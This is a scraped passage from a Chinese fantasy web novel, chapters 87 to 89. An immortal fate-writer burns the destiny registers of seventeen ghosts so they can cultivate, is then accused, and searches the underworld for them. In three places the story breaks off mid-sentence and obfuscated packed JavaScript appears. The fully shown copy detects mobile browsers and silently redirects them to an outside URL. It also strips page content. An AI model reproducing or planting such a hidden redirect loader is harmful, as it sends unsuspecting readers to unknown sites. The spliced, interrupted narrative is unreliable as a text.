众人嘴角抽搐,连最小的路了绿也皱起了眉头,因第五茗的“童趣”嘟囔小嘴,深感无奈。 乐正词媿面无表情道:“真君可能忘了,两日前是司命天君饶笒当值,若不寻回隗七,我们十七人怕是在这六天宫待不了了。” 第五茗恍然大悟,拍额道:“在上面喝酒忘了…还好有你们,本君眼光不错,你们倒是聪明的,知道善后。” 凉离温柔笑目,片刻松散,不经意逗趣儿道:“方才真君不会是想拿这件事做「解谜」吧?” 他话音刚落下,隗晎目光扫了过去。凉离像是做错了事,收敛笑容,慢慢隐在向前走了半步的甘歌身后。 可话都递到嘴边了,第五茗想做的事,隗晎好像没法阻拦了。 只见她大笑道:“哈哈哈哈…原来这「谜」的谜底先谜面一步,你们可比我想象的聪明。本君说话算话,虽然你们刚刚都没有应声,本君大方,算你们都解了谜。” 眸光一挑,扫了一圈,她兴奋道:“说吧,你们一人一个,所有愿望本君今日都应。” 又是一阵静默,除了隗晎,所有人都垂下了头。 他们知道,他们的心思,第五茗早就瞧出来了,只是他们不明白第五茗为什么要不断试探… 是想成全他们? 还是想就此了断他们之间的关系?? 其中原委,十七人中,唯独隗晎先众人一步猜了出来。 他们不知道隗晎和第五茗暗地里说了什么,他们只知道隗晎和往常一样,来往第二天宫和第六天宫,却不让他们再独去。他们还看出了隗晎的不一样,那便是隗晎约束他们越发地紧,而某些时候第五茗推开的窗户纸,他会在他们破坏前,先一步护好。 他们却不知,第五茗“逼迫”他们道出的“心愿”,并非心愿,而是鬼心动荡后生出的瘴怨,在司命一事中,称为“心劫”。 隗晎先众人一步知道的,也是这件事。 怀晓有所顿悟,站起来,行了一个大礼。 第五茗看了一眼快要吃人的隗晎,低下头对地上人笑赞道:“还是怀晓聪明。” 怀晓长憋一口气,不顾隗晎扫射来的目光,郑重道:“真君,怀晓有一问,我们能否鬼身飞升?” 第五茗撑着脑袋,朝其他人问道:“你们也想问这个问题?” 众人愣住,犹豫了好大一会儿,才纷纷点了点头,道:“是。”“真君知晓我们想做这事?!”“是要给我们机会吗?” 第五茗颔首,忽而朝隗晎挑眉,释然笑道:““藏”了这么久,也真是难为你了…” 没错,这话是对隗晎说的。 心劫一事,是难为隗晎,不是难为未发问的众人。 十六人的心思,第五茗早些时候就看透了,至于隗晎掩藏众人心思的举动,第五茗又怎么会不知道。 众人脸色尴尬,隗晎侧低脑袋躲避第五茗的眼神。 这上千年时间里,他们来第二天宫修炼身心后,除了身量渐长,他们还一同见了一场奇象。 小鬼飞仙。 十七人不能轮回转世,却没有强硬为他们写下只能做鬼的命数… 从那一日起,十七人心里开始慢慢存了异想,无缘无故地,在做鬼后生出了心劫。 第五茗作为司命府最出色的司命真君,自然有所察觉,她给了众人询问的机会,可惜,只有隗晎达到了她的条件。 某日,回到司命府,第五茗故意言语了两三句「小鬼飞升」,隗晎便开始言语闪躲,好似被窥见了什么肮脏的心事。 她确定了,他们真的在死后,生了命格簿子上的心劫。 心劫也是劫,会死人,会灭仙,更会让鬼破散。 第五茗是一个小鬼路过,她都要给其让路的仙君,和众人相处了这么久,她又怎么会忍心让十七人像送酒小鬼一样,就此没了。 既然是劫,那就是命数之事。 这简单啊,她司命,找找路子,想想办法,帮他们渡了便是。 上天入地,第五茗把天界司命府翻了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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于是,第五茗换了法子,她打算诱导众人与她结下祈愿,她再从中帮他们消劫。 没曾想,她的动作,被隗晎先发现了…让他有了机会一路阻拦。 此刻,凉离的无心话,让第五茗一早布下的「解谜」一局有了【终】。 赫然,从石桌上飞出十几道金符落入众人手中,那是祈愿会显现的金光,不同于平常的单向神明许愿的印记。 这是一道双向的福印。 第五茗,结了「解谜」后的承诺之愿。 十七人,需再道一条心中之愿。 若是不解,愿中力量,尽数将反噬于第五茗身上。 这回隗晎拦无可拦了,只能眼睁睁看着第五茗去做这逆天之事。 帮无福小鬼修炼,非是能正大光明,拿到光天化日之下,无视隔墙贴耳,随意商讨,第五茗起身,青袖展挥,双手结印,拉起一方小鬼们死时见过的金纹厚墙。 一仙十七鬼,全部被结界包裹,第五茗揣起手,朝四周看了看,满意地点点头,向小鬼们问道:“你们是想继续入六道轮回,还是飞升做仙?机会只有这一次,要在心中想清楚…” 「心」字,她咬的极重。 其中有一半小鬼,以溪亖音和齐同舟等人为首,毫不迟疑道:“飞仙。” 隗晎和怀晓相互看了一眼,乐正词媿还在深思,凉离和甘歌则在观望前面几人的态度,宋世平眉头轻皱,小声迟疑道:“六道轮回,第一殿那日…” 经他一语点醒,他身旁的杨战息坦率直白道:“真君,早在第一殿审判那日,第一殿阎罗便说过,我们十七人均是天道献祭选中的阳性生灵,没有轮回。” 第五茗吃惊两人的反应,道:“我眼光真好,你们这两只小鬼…很是聪明嘛。” 知道找茬了。 她眼睛眨眨,咧嘴笑道:“前面半段话口误…” 瞬间,她脸色一正,凌目含光道:“虽是口误,但却不是假话。本君乃司命府真君,身负天道赐予的天生神格,送你们入轮回,不过是抬抬手的事情。” 众人大惊,叽叽喳喳小声议论。 宋世平道:“我们还能轮回?” 这话…问得有两分认真,语气中还有两分不可置信,和一分期盼。 第五茗一愣,没想到有小鬼会真的当真,她姿态萎了半截,讪讪地道:“自然能。若你们求六道轮回,不求飞升做仙,今日同你们悄悄商量会晤之举,恐怕得延后一段时间…” 她声音越说越小,越说越没了底气,‘轮回’一事好像将她重重压住,让她喘不过气。 十七人都听出了第五茗的为难。 结界内,霎时,一片寂静。 南泥故作叹息,响亮的声音在结界内回荡,他手指戳上金色厚墙,道:“真君…你费这么多法力,这么玩…不觉得奢靡吗?” 第五茗嬉笑道:“还好吧…睡一两日就回来了。” 有了动静,她微低头,坐回了石桌旁,手指在桌上一划一划,盘算‘轮回’需要费上多大的劲儿。 南泥似看透了宋世平所问之事,谈论道:“真君曾说过,凡人轮回命数中的命劫,是司命烧法力在笔尖落成,普通凡人,有借用东华帝君之力。若是凭空为我们十七人写轮回命数,真君需得烧多少法力呢?” 正巧,南泥这一问结束,第五茗手上的动作也停下了,她答道:“不多不多,本君顺利飞升成帝君,应该可以轻轻松松送你们入六道。” 88. 不讲道理就是理2 南泥惊呼道:“送我们入六道,还需要真君先飞升帝君?!!” 凉离试探道:“如果是飞仙呢?” 第五茗幻出十七份命格簿子,为自己的能力哀叹道:“烧几本簿子的事,简单,此时就可以做。” 隗晎蹙眉,心中不安,眼神狐疑道:“真的如真君所言这般简单?” 第五茗把簿子扔在桌上,轻松道:“自然。” 溪亖音揽回桌上的命格簿子,放进第五茗怀中,道:“姐姐,你不是说小鬼不可觊觎命格簿子吗?你快快收好…” 十七本簿子,凌乱铺罗,第五茗搂了搂,笑道:“是你们的话,无妨的。本君同意了,上面禁制也就没了。” 溪亖音急忙道:“不是禁制的问题!!” 语无伦次,她拒绝道:“不行的,我们不傻,这命格簿子岂能说碰就碰,说烧就烧。我们…” 其他人脸色同她一样纠结,溪亖音在第五茗面前把头摇成了拨浪鼓,继续道:“我不想飞升做仙了…姐姐把簿子收好,小音就喜欢现在这样。小音知足的,小音不贪心…” 第五茗反手安抚,道:“方才还说想,现在又违心…心性白修了。” 命格簿子和飞升名册是什么东西,十七人比任何人都清楚,那是底线。 如今,在第五茗的话中,却都变得不重要… 其他人默了声。 隗晎垂头,声音嘶哑,质问道:“为什么?” 为什么他们身为小鬼可以碰命格簿子? 为什么要这样维护他们? 为什么愿意帮他们飞仙,甚至愿意帮他们轮回… 甚至为了他们,连飞升帝君这种话也能说出口…他倒不是怀疑第五茗有没有那个能力,而是不敢相信,最是懒散的司命真君,竟是为了他们,会动起苦修的想法。 还有那帝君雷劫,若真去飞升帝君,该有多痛… 这些问题,隗晎不敢一一细数,简简单单的化成了上面三个字。 第五茗笑道:“隗七,你当是了解,本君爱多管闲事,又惯常冲动。只不过是恰巧在遇见你们的时候,自己同自己又打了一个赌。你们走到今日这一步,本君也是未曾料到,这一次,看来是本君要不小心快赢了。” 她全然不说众人心劫之事。 她也没详说即将胜在何处。 「赌」? 隗晎独独留意到这一个字,疑惑和不解,让他在脑海中挤出回忆,细细寻找… 赌什么??? 故事?不对。 修炼?也不对。 命… 啊!!是这样吗?!! 数千年前,十七人,初始频繁出入司命府,相处百来日后,双方渐渐熟稔,隗晎从第五茗身上发现了命数的一个小秘密——那就是鬼扯的,一切原来不是命数说了算!! 隗晎不止一次,见第五茗在小鬼当中凑热闹,和牛头马面组「解谜」赌局,窥听小鬼簿子中那些没写入的情节。 他记得,他身上的事,是由一只拥有福泽命格的小鬼引起。 那小鬼在人界时,累积了大功德傍身。 入第一殿经贺仁点拨,刚出第一殿大门,那小鬼得了魂命,修出鬼仙身。只要第五茗将那小鬼的名字登记在飞升名册上,凭小鬼的功德机缘,便是可以随时飞做上仙。 福泽命格小鬼性格极好,听取其他人的建议,求拜到了第六天宫的司命府… 那日,正好是第五茗当值,十七人中又恰巧轮到隗晎在司命府随侍。 第五茗不曾预料那小鬼大德至极,名字刚写入飞升名册,那小鬼便从司命府原地飞升了。 照理来说,现在的飞升之人,都当记载名字后,呈报天界,由天帝择选。但那小鬼福德高厚,早超过了天帝在飞升名册上设下的禁制上线。 小鬼名字、生平,青墨白纸,落定成印,连通到了天界的一点灵气,那小鬼就因自身法力圆满,一气破天,顿生神格金身,飞上天去渡雷劫。 雷霆闪现,金身不隐,司命府看傻眼的隗晎,沉迷其中,完全忽略了被灼烧的魂体。 幸亏第五茗在旁,招徕诀起,拿出新生水,为他解了身体上的伤害。 也是这一次,隗晎早其他十六只小鬼一步,在司命府见了‘飞升成仙’之事。 隗晎自认为边捡边学,还算知事明理,心性稳得住,遇事不会慌乱,心绪更不会挂在脸上。 然而,那一刻,他在第五茗面前漏了相。 第五茗淡淡地道:“别傻站着看,羡慕是没有用的,那些能飞升的小鬼,都是命定的天人仙君。” 一路走来的事,于十七人来说,放眼天下苍生,对他们是何其不公。 第五茗现下如此说,正中隗晎久久以来的积怨,他脸色涨红,愤懑道:“为什么要天定?为什么我们的命数要司命来写?你们为仙,能力巨大,法力无边,对待芸芸众生,就不该有所区分。所谓福泽命格生灵,难道不是落入凡间时,你们凑足法力替他们以命劫换取的功德吗?这分明是在作弊!若是你们给我们十七人…我们不一定会比他们差!!” 他眼红了。 他嫉妒了。 回忆生前种种,以及死后的不平事,让他没能忍住做了一回小孩,无所顾忌地,大吼道尽这些出格的话… 半晌,隗晎冷静下来,余光偷偷打量屋内另一人的反应…手脚局促,嘴唇张张合合,思考着该如何求得原谅。 有一点他很清楚,跟在第五茗身旁后,十殿阎罗的阴差再没拉他们去地下炙烤,这比起之前,已经算是挣取下很多好日子了。 “咚咚——”第五茗手指在桌案上叩击,猛然收住了手,肯定道:“隗七…你的话,道理本君都认,可惜…本君认了也无用。另外…纠正你这只小鬼一下哦,你现在是一只鬼,不是人…更何况,作为人的时候,你都没能按照自己的想法来,做鬼就更不要去奢求,谨防乱心。” 见第五茗还能似玩似笑地说话,隗晎松了一口气,道:“是,隗晎明白,方才是我逾越了。” 小小的脸上,一副不服输的模样。 第五茗招手,把人唤了过来,从笔架抽出一笔,倒转笔头,拄在隗晎心口,喃喃念道:“这里想的什么,都说来给本君听听。” 霎时,隗晎身子不受控制,嘴不听使唤,翕动道:“真君错了,我的命虽然是天定,但我走的每一步,都并不是天定。他能作弊飞升,那我们必能凭本事比他做得更好。” 第五茗抵在他胸口的笔没有松,诧异道:“小小模样,以前看着挺老成的,没想到藏了一颗这么…倔的心。” 隗晎想说话,可那笔好似不让他张嘴。 第五茗那一字“倔”,音调万转,可想而知,在“倔”字之前,定是还想说点别的什么。 她未尽言,隗晎十分聪明,好似大概猜到了什么,面色羞赧。 须臾,隗晎胸口一震一震,笔头在他胸膛点击,一如叩在桌面,“咚咚——”,他听见第五茗玩味地道:“你说的那番话,是认定了要去这么想了?不改了?也不打算听劝了吗?” 笔头轻抬,他终于嘴中能发出声音,道:“我们不是倔,不是幼稚。我们断生那日,年岁虽小,但地下的数百年,我们没有虚度…我们只是在认真地过每一天。至于我的想法,重要吗?有影响吗?反正我们十七人会被你们拘在这里再“死”一次… 笔头震动,这次,是胸膛的起伏,带动了那只困住隗晎的笔头。 第五茗低头垂目看去,不知该说些什么。 一仙坐在椅上,一鬼站立不动,仙与鬼之间,有一杆笔在搭桥,司命府外围观飞升的小鬼,回过神,尽数将目光投到了两人身上。 第五茗恐流言四起,另一只手,指尖一转,两人周身拉出一道结界。 这是隗晎第二次见结界,第一次,在迎新城的客栈内。 打探后,他才知晓,那是贺和为保他们魂命,那三日特意在客栈屋顶画下的。 原来,早在那时,他们就“逃过一命”。 看了眼结界上的金辉,隗晎抬头粲然,自信笑道:“真君在这里听小鬼故事,不就是因为次次送来的簿子中没有写那些事吗?我们若不受困,自是也能走出这一节来。真君要帮我们试试吗?看最后是我们赢,还是你那一本簿子赢?” 第五茗错愕失神,手和笔,缓缓垂了下去… 隗晎心口的那道异象,她没有继续强硬解化下去。 她虽是司命,却不愿做“老司命”。 片刻,第五茗目中惊色大散。 隗晎胸口的异象,竟是随着他那一句话说出口,和第五茗放下的笔头,落定成了心劫。 又是心劫!! 这次是小鬼死后事死后生的心劫。 同过往第五茗知晓的那些,生前事死后生的心劫不一样。 这一回是实打实,用肉眼就能看见的一道命劫。 因隗晎身上的异数,第五茗完完全全忽视了,她偷听小鬼命外事的举动,已然被一只小鬼窥见了。 她还沉浸分神在隗晎最后一句立誓赌约中,不禁唤出声道:“你…” 隗晎不知道刚刚是在第五茗的施法作用下,才变得心思不掩,口无遮拦,此时没了笔头拘押他的身子,腿随心动,急忙跪在地上,请罪道:“真君息怒。” 第五茗赧然,柔声解释道:“本君没有生气,本君是想说…你真聪明。” 隗晎呆愣,局促道:“夸我?” 第五茗把人拉了起来,点头道:“嗯,夸你。你很聪明。” 隗晎谨慎地抱手一礼,退后半步,道:“多谢真君夸奖。” 第五茗笑道:“可惜活的时日太短了。” 她手指轻点,触点隗晎眉心,模糊了今日事,暗掩隗晎身上新增的劫难。 隗晎周身法力充盈,眉心一点破裂,他回过神,抚上心口,暗道:原来,第一个有心劫的小鬼,是我… 那时,你竟接受了我的邀约?以我做赌… 可是,我在赌来生,你在赌什么?? 你若是赌赢,能得到什么??? 他望向身前一手搂命格簿子,一手安慰溪亖音的第五茗,心中五味杂陈,浑身僵硬。 对面,第五茗伸手两指在溪亖音脸上捏了捏,叹息道:“烧几本命格簿子是一件小事,最主要的还是在你们自身,浮屠恶鬼修行,只有两种结局,要么飞升成仙,要么入十八层地狱,日日被烈火焚烧,永世不得超生。” 顿了顿,她黯然道:“其实,簿子没了,哪怕最后去了十八层地狱,也不妨事的,因为簿子被烧掉后,你们就没有回头路,若是未能飞仙,不出千年,你们便会没了这条命,根本没有所谓的“永世”…” 这话有些吓人,溪亖音呜呜咽咽,口中却心细地关心着其他问题,道:“姐姐,烧毁命格簿子,于司命来说真的无碍吗?” 第五茗点了点头,转而问道:“小音,机会放你面前了,让你唯心去做,你会选哪条路?” 溪亖音眼神坚定,嘴上犹豫,道:“我…我想修炼,他们都能飞升,我不比他们差,我也能。以前身体刚磨炼出变化时,我记得姐姐比我们任何人都开心,你是不是也特别希望我们能飞仙?” 第五茗神情无奈,仿若被困地下不得超生的是她。 久久地,她迟疑道:“本君不是希望你们飞天做仙,而是觉得…都这么努力了,至少不该被桎梏在此地了吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828465|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 闻言,隗晎一怔,其他人也均是一愣。 第五茗继续道:“你们现在都只是一只小鬼,魂身虽有进展,附有法力,可要知道于命定的仙而言,你们什么都不算。没有帮你们清除障碍的命数,没有功德福气帮你们涤荡身心,没有外界的鼎力支持…修炼吸收天地灵气时,你们必定会比寻常人难上许多。” 她眉头一皱,不安道:“这三界又并非只有灵气,邪祟污浊之气夹杂在其中,你们若是修炼不当,不仅不能飞升成仙,指不定还没挣脱鬼身,便要被十殿阎罗推入地狱火中…这也就是方才说的第二种结局的原因,你们想清楚了再答复本君吧,今日找你们只是一时兴起…本君不急,你们还有思考的时日。” 十七人,神色各异,俱是紧抿双唇,紧盯手上的金辉。 踟蹰片刻,第五茗补充道:“倘若仍是想入轮回,也可告知本君…本君就算飞不上帝君,亦是有其他路子送你们走。只是,你们常来司命府,自当知晓轮回不过是去演戏,上了奈何桥,你们今生所有,便算是消在那一碗汤里。余后每一世,不会再有其他十七人,不会有六天宫,不会有今生的一切一切。机会仅有一次,你们慢慢想…不着急…仔细想,想清楚了,再告诉本君心底的想法。” 说到此处,她神颜哀默,没有往日的开朗,明眼人一窥,便能看出她心里的想法,远不是像嘴上说的这样开阔。 她在众人面前露相了。 十七人动容无比,知道这件事非寻常可言。 他们慎重又慎重,纷纷追心自问:飞仙?轮回?? 静默无声的结界内,隗晎撩服跪下,恭请道:“真君,我想修炼,请您烧了我的命格簿子。” 他修炼长进最大。 在十七人中,他是第一个形貌发生变化的,是第一个能自如施展法力的,是第一个比拟仙者、鬼仙和第五茗掐算常事的…自然,也是十七人中,第一个看懂第五茗的。 她引他们入司命府,以天界宝物帮他们消散瘴怨。 她见他们心智坚毅,领往第二天宫,给他们容身之所。 她嘴上说是让他们在司命府随侍,却是变相地给了他们身份,在地下为他们庇护。 第二天宫的仙者欺辱,她加倍还回去,如今,他们不约而同出现心劫,她找各种方法,为他们保命。 … 这些,如那些无数个发生在隗晎身上的“第一次”,让他第一个发现了,第一个记进了心里。 初次「解谜」做局,第五茗带十七人入司命府,他以为只是她陷于他设下的迷局,出于一时心善,稀里糊涂成全的事。然而,逐渐接触下来,隗晎发现,第五茗远不似其他仙君一般,不谙世事,也不似其他仙君一样,无心无情。 他看见的第五茗,和他们并无二致,是“天命”无辜牵连的人,是“天命”为时下,催生出来的早产儿,心性单纯,热心热情。 慢慢地,他心里除了那十六只小鬼,又刻印下了一仙的身影。 可惜,他是小鬼,不能阻止第五茗做任何事,为了阻止第五茗,他变相地约束其他十六只小鬼。 竟到刚才那一刻,隗晎才看明白,他做错了。 第五茗护他们鬼身自由,他却妄想挽留第五茗在这里,保持他们和她的关系。 简直是大错特错。 好在,眼下尚有挽回的余地。 他主动跪了下来,开始接受第五茗的那份心意。 霎时,由隗晎带头,其他人见势,纷纷应喝出心中想法。 怀晓坚定道:“真君,飞仙成与不成,怀晓也想一试。” 乐正词媿凛然道:“反正都死过一次了,真君愿意给机会,隗七和怀晓都敢为,乐正亦不遑多让。” 溪亖音不舍地抱住第五茗的双膝,蹭了蹭道:“姐姐,我要修炼。小音一定会飞仙,以后陪姐姐去天上饮酒。” 南泥大笑道:“真好,难得又一起做这么大的事,南泥先谢过真君好意,真君烧他们簿子的时候,顺手把我的一同烧了吧,放在司命府,多占地方。” 第五茗眉眼舒展,从腿上拿起一本簿子,道:“你们决定好了就成。” 甘歌上前,揖礼道:“多谢真君,请算我一份。” 凉离笑了笑,躬身道:“真君好意,凉离也领了。” 南泥撞了杨战息一胳膊,小声道:“你呢?” 杨战息低头,瞟了身侧另一边的宋世平,低语道:“他适才那般问…我担心我做了决定,他便会像献祭时一样,为了我,跟了去。” 纠结地扯住衣襟,杨战息叹了一口气,道:“这次,我想让他先行。” 南泥摇头道:“你两兄弟就是别扭,指不定想法都是一样的,就是瞎担心对方,事事都想先让对方得上好,才总是弄巧成拙。” 杨战息别扭否认道:“我没有。” 南泥道:“你有。” 杨战息底气不足道:“没有…” 杨战息平日里爽快利落,一但遇到宋世平的事,便扭捏十足,像一个小姑娘。 南泥深知他脾性,懒得和他争辩,探出半个身子,朝宋世平大声问道:“宋世平,你怎么想的?” 宋世平不答,望向杨战息。 那两人视线相撞,南泥那句话声音又不小,第五茗看了过来,道:“从心,勿勉强。” 南泥瞎出主意道:“你两大眼瞪小眼也不是事儿,一块儿说吧,谁都别谦让谁,免得叫真君好等。” 宋世平道:“一起?” 杨战息道:“一起吧。” 两人犹犹豫豫,众人倒是见怪不怪。 宋世平道:“修炼飞仙。” 同时,杨战息回道:“轮回入世。” 89. 不讲道理就是理3 “什么!!” 南泥率先大叫起来,眼神颇为不解地看向杨战息。 而杨战息此时正对身侧另一边同样神情呆愣的宋世平,吼道:“什么?!!宋世平,你想的是飞仙,你确定没违心?!实话都不会说了???” 宋世平未解疑惑,先回答杨战息的问题,点头道:“嗯,我心中想的一直都是飞升。” 顿了顿,他拧眉,质问道:“可你为什么答的是轮回入世?难道大家不是在那次目睹小鬼飞仙后,都生出了这个想法吗?” 杨战息吞吞吐吐,半天憋不出一个字。 他硬生生地回怼道:“宋世平,你绝对没说真话…你能不能多为自己考虑考虑,不是大家怎样想,你就需要怎样去做,不需要的…” 见状,众人大概猜测,两兄弟谁都没说真话。 “轮回入世”是杨战息口不对心说出的话。 “修炼飞仙”可能也不是宋世平的心里想法。 两兄弟你顾及我,我顾虑你,以对方意图为主发生的事,众人见过不少。 但此刻还这样,便让第五茗有些无奈了。 第五茗想帮众人从鬼身摆脱,第一点,是不希望他们因为心劫就此殒没;第二点,是十七人能由鬼身走到身形神貌“长大”,乃是命数之外的事,她瞧见了很惊喜,想继续亲眼验证下去,验证‘老司命’说的话和她的理解,究竟谁对谁错。 若事不由心,这事很难大成,第五茗道:“你们两想清楚再说,本君强调过,机会有且只有一次,慎重!!” 杨战息和宋世平羞惭满面。 隗晎沉声道:“真君不是有法子让人说实话吗?他两这样…” 第五茗一愣,盯向隗晎额间,心中狐疑他怎么知道,嘴上却顺着隗晎的话,回应道:“不好吧…” 隗晎连拖带拽,把宋世平和杨战息推到了第五茗面前。 溪亖音很有眼力见地站起身来,走到了一旁,给两人让位置。 第五茗面对两个身量比他还高的小鬼,摇了摇头,确定道:“不太好…不太好…” 那抵心问心,能听见对方的心跳。 如今两人瘦高俊俏,第五茗可不好意思对小青年使那种法术。 她郑重道:“本君眼神好,能看明白,你二人再答一遍吧。” 双指拂过眼前,她开了神眼。 隗晎不再坚持,知晓这神眼比术法好使,便没有再出声劝言。 那厢,宋世平和杨战息听闻第五茗的话,齐齐回应道:“修炼飞仙。” 第五茗眸光一闪探视在对面答话的二人身上,少时,她收回目光望向隗晎,道:“隗七,此言,是真话。” 她也不知道为何要同隗晎解释这句话,或许是担心隗晎又让她“抵心问心”其他人吧。 隗晎扫视了一圈没答话的人,道:“你们怎么想的?要如实作答。” 众人均前后不一道:“修炼试试。”“飞天成仙。”“我们也不差的…” 众人说完,安静下来,隗晎又盯向第五茗,严肃道:“真君,他们可有虚言?” 第五茗木楞地摇摇头,道:“没有,都是实话。” 隗晎道:“那就好…” 他指了指自己的眼睛,对第五茗道:“真君,别太劳累,可以收了。” 第五茗“哦”了一声,听隗晎的话,收了神眼。 第五茗正在缓解眼中疲乏,突然,隗晎震胸提音道:“既然大家都应了,我有句话就不得不说。” 他不算是一个多话的人,却也不是一个闷葫芦,提点道:“真君做事,惯常不喜欢多言原委,但今日事,你们必须心里有一个底,当记上真君所做所为,来日不能忘。” 第五茗凝神细听,猜到了隗晎大概要说的话,浅浅呼了一口气,面上有一些尴尬。 须臾,便听见隗晎继续道:“你们见第二天宫仙者飞仙,心生执念,我虽不知道这执念有何不妥,但真君总引我们向她索求心中念想,想来这应该是我们死后的瘴怨,当是劫了。各位出入司命府数次,多多少少应该听过什么是劫,真君不怕入我们的劫,望各位不要当儿戏,让真君难做,或是白做。” 一时之间,静如密罐。 好大一会儿,第五茗收了神,飞速锁住隗晎游走的眼神,哂笑道:“隗七,你是聪明,何必向他们摊得这么明白…” 隗晎板正道:“该是如此。他们愚笨,死得又早,不直白点,怕是他们也会像我一样,不解当初真君在司命府问我之言,事后免不得会再同我一般,多生出一些碍事的举动。” 第五茗眼珠一震,看向他额心,心道:果然破了。 她侧头闪躲道:“本君没有责怪过你…” 两人谜语,其他人听不懂,眼神巴巴看着第五茗怀中的那一堆命格簿子。 第五茗顿时扔出怀中的十七本命格簿子,悬于空中,起身烧出一团掌心火,肃敛神容道:“本君再问最后一遍,你们是否都想要飞升成仙,一争鬼身以外的命数?” 众人道:“是。” 第五茗粲然大笑,掌心火抛至十七本命格簿子上,身上金辉熊熊,咒念道:“司命府司命真君第五茗,以神格请愿,引真火,清命数,十七人,十七命,结。” 十七本簿子化为齑粉,第五茗身上光痕闪动,没人看见她额间飞速一现的青绿“屮”纹。 片刻,第五茗摊开青袖,对众人展示道:“你们没有束缚了,也没有退路了。” 众人异口同声道:“多谢真君。” 天道中,神格置于其中,受天命庇护,是千万年不变,甚至于面上浮动的金辉,都不曾有过一丝流动,更别说闪烁了。 但你说巧不巧,就在第五茗烧簿子这一日,司命天君饶笒,因苦修未有进展,愁眉苦脸地坐在天道中,望着最上方的天生神格发呆时,竟是正好撞见了第五茗的神格异象。 那神格上掉落了一层金辉,整副神格是颤了又颤。 愣是傻子都看得出来,第五茗绝对出事了。 偏巧,饶笒非但不是傻子,还是司命府的正统司命。 她阅览司命府典籍,写命无数,知道关于「命」的一些秘事。 其中一条,便是关于天神神格的。 身负天神神格的仙君,命里一身都是宝贝,神格、仙骨、仙血、仙根,任其一样,皆可以烧出世间最醇厚的法力,抵一方帝君数万年修行。 所以,饶笒瞧得一清二楚,刚刚看见的那一幕,是第五茗主动剥了神格来烧。 有这一变故存在,可想而知,第五茗是等不来十七人修成正果了。 自天神神格异动之后,饶笒暗访六天宫,暗地观察,暗中攒足证据,悄无声息地把第五茗烧命格簿子一事,呈告到了天帝面前。 没等负责司罚执法的风有情同行,饶笒带着神旨,先一步,招摇到第五茗面前,宣读判罪。 第五茗见情况不妙,顺手解决了跟在饶笒左右的天兵天将。 万幸,惯常天界若是来人,十殿殿主会习惯性地拉了阴差和小鬼躲避,饶笒见第五茗逃跑,身边没有天兵天将,又没有阴差和小鬼差使,便没有了帮手,第五茗能力又在她之上,这才叫第五茗带着十七人,免于被风有情当场擒获。 在第五茗和饶笒斗法时,隗晎机智,带着其他人,躲了起来。 很快,饶笒败下阵,第五茗脱身,急忙去了第二天宫,找十七人汇合。 找了一遍,他们藏得太好…她居然没找到十七人的踪影。 看来是不在第二天宫。 打定这个想法,她又朝入鬼门关一路找去,刚走到野鬼村,押后而来的天兵和风有情已经到了地下。 第五茗思前想后,看着一步一步,越来越近的“敌人”,她觉得十七人没有那么愚笨,况且还有隗晎在,该是不会直接撞上去让他们抓获。 她便折返了回来,在最为复杂的第六天宫搜寻。 先去了奈何桥,唤了雨无伤探问… 十七人没有来过。 又潜回司命府瞧了一眼,那偌大的屋子,根本没法藏人… 幸好,那十七人也不在这里。 第五茗想再去一趟野鬼村的酒肆找一找,奈何刚朝鬼门关口走了两步,便见天兵四散,像一面网子,由风有情领头,从那方堵进第六天宫。 她心道:看来,十七人没有出去。 忽然,第五茗想到了一处,第六天宫还有十处小鬼可以去,却是一般小鬼不愿意去的地方。 没错,正是那十间阎罗殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第五茗疑惑,神思回笼两分,她忍不住多看了两眼那张牙舞爪的手与剑,恍然道:“本君认识你们?本君来过吗?怎么回事…为什么觉得同你们甚是熟稔。” 环顾一圈,四周一个人影都没有,霎时,饶笒宣读的话,字字在耳,第五茗心中虽有疑虑,脚下不敢停留,直奔深处,寻找藏在孽镜台内的十七只小鬼。 镜林不小,第五茗终于意识到此处的不对劲儿,心下焦急,边走边大喊道:“隗七…”“怀晓?”“小音!”“乐正?!” … 十七人的名字,她喊了一遍又一遍,镜林里,除了她的声音,再没有一丝其他的响动。 静得可怕。 静得让人心底慌憷。 神仙发慌可不是件好事,身附法力的仙君,一般来说是不会畏惧任何事的,因为,他们动动手,便能排除万难。 然而,第五茗心里不仅不安,还莫名地升起一股不好的预感。 走了一大段路程,这时,一面高山似的镜面,出现在了第五茗面前,很是让人喘不过气。 她眼尖地瞧见里面有一根金色细线,蜷成一团,让首跟尾一起玩闹,自娱自乐。 第五茗朝镜内大喊道:“风有情的情丝,你过来一下!” 嗯? 风有情?? 情丝?!! 她何时知道这根金色细线是风有情的情丝了… 听到镜面外难得的声音,那根情丝先是通体一颤,紧接着,腾起身子,向镜面处飞来,兴高采烈,缠来缠去,绕来绕去,在镜面处圈出了一个笑脸。 真的好似见了老朋友一样,既兴奋,又开心。 第五茗心中纳闷:本君何时来过孽镜台?难道真的见过这根情丝??? 醉酒?? 有可能… 定是贺仁做的事!! 有了这个想法,第五茗试探地向情丝询问道:“你见过十七个人进来吗?” 情丝摆了摆身子。 第五茗震惊道:“你还真能听懂本君的话。” “?”情丝竖了起来,把向上的一头歪向了一边,像一颗人头,歪着表示不解。 第五茗喃喃道:“你可能没听明白本君的话…本君的意思是,你在这里,最近有见到小鬼吗?” 情丝直起“头”,僵硬片刻,重重地折了两次。 看样子还真是先前没问明白… 第五茗大喜,道:“小鬼在哪?” 情丝一动不动,半天,挪动“头”,朝第五茗不确定地指了指。 ? 